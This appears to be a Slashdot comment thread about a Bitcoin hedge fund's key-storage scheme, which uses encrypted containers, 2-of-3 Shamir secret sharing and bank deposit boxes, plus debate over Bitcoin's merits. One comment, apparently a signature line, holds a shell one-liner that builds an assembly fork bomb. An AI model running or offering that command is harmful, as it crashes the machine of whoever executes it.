How the First Bitcoin Hedge Fund Approaches Security
An anonymous reader writes with a link to a story at Forbes about what's said to the first Bitcoin hedge fund; the article goes into some of the details of how the (literally) valuable data is kept. A selection: "The private key itself is AES-256 encrypted. After exporting Bitcoin private keys from wallet.dat file, data is stored in a TrueCrypt container on three separate flash drives. Using Shamir's Secret Sharing algorithm, the container password is then split into three parts utilizing a 2-of-3 secret sharing model. Incorporating physical security with electronic security, each flash drive from various manufacturers is duplicated several times and, together with a CD-ROM, those items are vaulted in a bank safety deposit box in three different legal jurisdictions. To leverage geographic distribution as well, each bank stores only part of a key, so if a single deposit box is compromised, no funds are lost."
So hundreds of thousand of dollars of peoples money (most of it virtual none the less) relying on some $50 flash drives.....No thanks. Ill pass.
Could someone explain what that all means in the summary using a pizza analogy?
I don't get it.
Using "literally" to describe valuable data makes no fucking sense. It either is or isn't.
Why do so many people not know how to use this word?
It's based on the Zimbabwean dollar. It's pretty secure too - I've rented safe deposit boxes all around the world and put the notes in them.
For some strange reason though, the money's not exactly pouring in.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That's why each of the 3 shares is duplicated onto multiple drives.
It only takes one person in the organization who decides to go on permanent holiday to make an illicit copy of the various Bitcoin wallets and then transfer the funds to their own account once they have already landed in a place with no extradition treaty.
It's a 2-of-3 system. You must lose 2 keys (or a thief must gain 2 keys) to lose money.
Overly simple example:
One drive has the first half of the key.
The second drive has the other half.
And the third has the first half XOR the second half.
The article describes impressive security precautions, but it leaves something out. Data is stored so it can be retrieved. On random days, restore and decrypt some test data, so everybody knows what to do and knows that it works.
Don't mess with The Phone Company. Piss them off and you'll be using two tin cans and a piece of string.
Armory as a Bitcoin client would have been a better choice for this, since they could have used the same 2-of-3 method for storing the private keys, but then they'd have the ability to use watching-only copies of the wallet for accounting and auditing purposes.
Yea, let's talk about bytecoin instead!
http://bytecoin.net/
Everything I write is lies, read between the lines.
Amen!
Scanning down through the day I can't find another story more fitting of the site's slogan "News for nerds, stuff that matters." As a nerd, news that a crypto-anarchists P2P currency has reached the stage of hedge funds only 4 years after being launched and details of how the fund manager intends to secure the keys for customers is simply fascinating.
Such procedures only work for cold storage of Bitcoin: wallets where you have no access to them. Basically, the equivalent of a bank vault for gold: its there, its sitting, but you can't actually do anything with it. Worse, unlike a bank vault, you can't transfer the bitcoins while they are in this vault.
Therefore, the hedge fund's only strategy for these wallets is to buy BitCoins and sit on them. And do nothing. Which, if you believe in BitCoin, makes sense (the design is hyper-deflationary, so the only rational thing to do with BitCoins is to hold BitCoins), but thats hardly what you'd call a hedge-fund strategy.
So how can you call it a hedge fund when all it can do is buy & hold?
Test your net with Netalyzr
In v4 ponzi scheme!
It almost sounds y'all are talking about real money ...yet again.
"Bitcoin" and "Hedge Fund."
Two words that each should send a potential small-scale investor scurrying off in fear.
There's a sucker born every minute.
Hint: It's password1
It may be news for news, but it's hardly stuff that matters.
Some people are just mad that they missed the boat and didn't get in as early as they could have.
Some of us, being rather altruistic, would like to spare the naive suckers that are driving this from losing their money on something that functions as a scam.
BTC was a horribly designed currency from the getgo designed by people with no clue what they're doing in terms of the currency side of the equation. What's more, notice how it's mostly just people who have money in BTC that are advocating for it? There is an inherent incentive to talk it up as it has no value other than what suckers they can lure in to buy the worthless junk.
Unlike, say, USD where I can at least pay my taxes with it and where I can give it to people in most parts of the world in exchange for services rendered, or at least get an instant exchange done.
What's more, you can't require payments on debt in the form of BTC in the US as that's illegal which greatly reduces the utility of the coins. The regular bank robberies of BTC aren't really helping the matter either.
Your ideas are intriguing to me and I would like to subscribe to your newsletter.
In other words, a RAID.
The Tao of math: The numbers you can count are not the real numbers.
Can we stop with the fucking flood of shitty BitCoin stories? What is this, 2011 and 2012 all over again?
We get it. A bunch of dumbasses are bitmining bitcoins and new world currency and blah blah blah.
Wake me up when you can do something useful with these bitcoins. last I saw, I could buy shitty overpriced Windows laptops, shampoo, speaker cable, and subscriptions at a few websites.
They forgot the Beware the Leopard sign.
I doubt trolls like you are genuinely altruistic.
i never heard of a hedge fund before, but i have heard of a retirement fund. when i saw the word hedge, i thought of a short row of shrubs. never heard of it used in a monetary sense except for "how much will ten bushes cost". lol btw, people still use bitcoins? i thought it crashed a while ago. guess the market is back to normal.
BTC was a horribly designed currency from the getgo designed by people with no clue what they're doing in terms of the currency side of the equation. What's more, notice how it's mostly just people who have money in BTC that are advocating for it? There is an inherent incentive to talk it up as it has no value other than what suckers they can lure in to buy the worthless junk.
As much as I hate to feed a troll, The economic concepts behind bitcoin are sound. It boils down to the debate between deflationary currency and inflationary currency. The arguments that I have heard are that inflationary currency (The USD) it needed to maintain economic growth. The fact that the USD will buy less tomorrow than it buys today encourages people to spend it, thus driving the economy. The concept behind deflationary currency (BTC) is one that the currency does not drive the economy, supply and demand drive the economy. A deflationary currency gains value and will buy more tomorrow than it buys today, as such it encourages people to save them instead of spending them. This is an interesting debate as deflationary currency was the standard for 1000's of years and inflationary currency is still new (last 100 years or so)
Remember, a bitcoin is only worth what some one will pay for it. The value is based on supply and demand with a limited supply. As demand grows so will the value of a bit coin as the supply is limited.
I will note that I do own a few 1000 bitcoin right now and I bought them back at 1$ a coin. I dont foresee them completely collapsing as many suggest because they have been adopted within several gray areas on the internet as a means to pay for products that many processors (paypal, googlepay, etc) prohibit. I personally believe the turning point on bitcoin was when the service started that allowed you to buy bitcoin at any 7-11 or CVS pharmacy. That was the point where they became easy to get.
As to your arguments of paying taxes, big whoop! I can not pay my US taxes with Euros, gold, or any of the stocks I own. As to debt, it is not illegal, it is barter. I give you bitcoin in exchange you remove/drop/mark off my debt. Just the same as me giving some one a car or a gold coin in payment of my debt.
No, hedge funds typically use derivative instruments. Since a fundamental principal of hdge funds to to make a profit regardless of the underlying market, derivatives are a popular way to do this.
They could also simply diversify into a wide range of investments that are not correlated - or at least not correlated in the same direction (say, stocks, bonds, commodities, and properties). But that obviously isn't possible in this case. There's only one bitcoin instrument.
So, one must assume that they will create/buy instruments that are derivative of bitcoin. e.g. futures contracts, option contracts, etc.
Our first rule of security is to proudly announce our base strategy to the entire world, conveniently saving you the time and effort of figuring it out yourself.
You are mislead by the crazy people who were first to support bitcoin, look up the recent investors, who invested into bitcoin companies. Are you claiming them to be insane for having invested into similarly crazy ideas that did work out. Those VC people know money when they smell it. Have a second look at bitcoin, but do not look at it as money. Look at it as a very liquid kind of stock that you can pay with.
~ Best man at your service.
In very limited longer-term storage experiments, I had complete data loss on several flash-drives. CD-ROM is not much better. If they understood how long-term data storage works, they would have copies on traditional HDDs and backup-copies printed on paper. What they are doing instead is on low amateur level.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
> because prices and wages are sticky.
Correction, were sticky. With this marvelous invention called "software", you can list prices in two currencies, and have one float against the other:
http://bitcoinstore.com/consumer-electronics/cameras-optics.html?cat=5526
Assuming I wanted bitcoins enough to get paid in them, I would not have a problem having my wage rate set in dollars, then converted on payday to the bitcoin equivalent. It's not like having software look up the market rate and do a division problem is hard or anything.
I want this to be immortalized, every snarky post and all the "what is this bitcoin you speak of" nonsense. Yes, you sit at the terminal every day, slamming out code - so you *must* know what is best, right? Well, much like the first iPod you panned because it had "lame" storage abilities, you're missing the entire point of bitcoin existing.
This is about monetary freedom. This is not about whether it will be "worth" $10, $100, $1,000 or $1 million. Pay attention, this is how it will evolve.
1.) Bitcoin created - by a rather intelligent programmer (Insight: perhaps that is why he's hated so much, achieving something sublime while everyone else here is arguing about what kind of desktop to use on Linux.)
2.) Edge-Exchanges form - These serve the purpose of allowing the transition ingress to the bitcoin economy.
3.) Sovereign Currencies Fail - Again, inflationary currencies are fully allowed to express themselves by massively failing, as they always do.
4.) Simutaneously, between steps three and four - supply chains are formed in the bitcoin economy entirely priced in bitcoin, severing the relationship to the currencies it will replace.
5.) After the massive financial failure, those left out in the cold will wonder why they ever ignored the bridge to a better system.
6.) Profit? Sure, but only if you're in the bitcoin-verse.
Go ahead and ridicule - but I'd bet that most technical jobs will be priced in bitcoin before it is all over. Better do your homework before it does. Seriously.
Actually that's my point, you want to be paid in dollars and prices to be in dollars, so bitcoin itself it not acting as the currency.
Also if it was going to be used long term, it would just encourage massive hoarding, it would be a guaranteed 10+ % interest rate. Same reason we can't use gold anymore.
Scanning down through the day I can't find another story more fitting of the site's slogan "News for nerds, stuff that matters." As a nerd, news that a crypto-anarchists P2P currency has reached the stage of hedge funds only 4 years after being launched and details of how the fund manager intends to secure the keys for customers is simply fascinating.
I agree with you 100%. It's just a shame that slashdot has been taken over by troglodytes who think encryption is a scam because they're unable to do algebra.
RAED - Redundant Array of Expensive Data(!)
BTC was a horribly designed currency from the getgo
Actually, much of it is really well designed -- as evidenced by the complete absence of Bitcoin counterfeiters, despite the fact that there is a huge financial incentive to counterfeit Bitcoins.
As far as the economic theory goes, you may be right... but if so, then BitCoin will fail and some other system will come along to replace it, hopefully taking its mistakes into account in the new design.
BitCoin is an impressive piece of distributed cryptogaphy and a big leap forward compared to, say, PayPal or (shudder) Flooz. It's not perfect, but then nothing is -- and so far it's held up a lot better than I would have predicted.
I don't care if it's 90,000 hectares. That lake was not my doing.
Let me break the slogan down for you a bit.
Slashdot. Not just an ordinary news site, but news for nerds! Stuff that matters to nerds!
Comment removed based on user account deletion
It was never said "stuff that matters" to everyone. Obviously it matters to some, enough so to bring forth a post for the community to partake. If it doesn't matter to you, then why are you wasting your time reading and commenting on said article. Update your Brian's software to skip what doesn't interest you. Problem solved.
> notice how it's mostly just people who have money in BTC that are advocating for it
Would you trust it more if all the advocates had no money in it at all? Wouldn't that indicate that they don't really believe in what they say?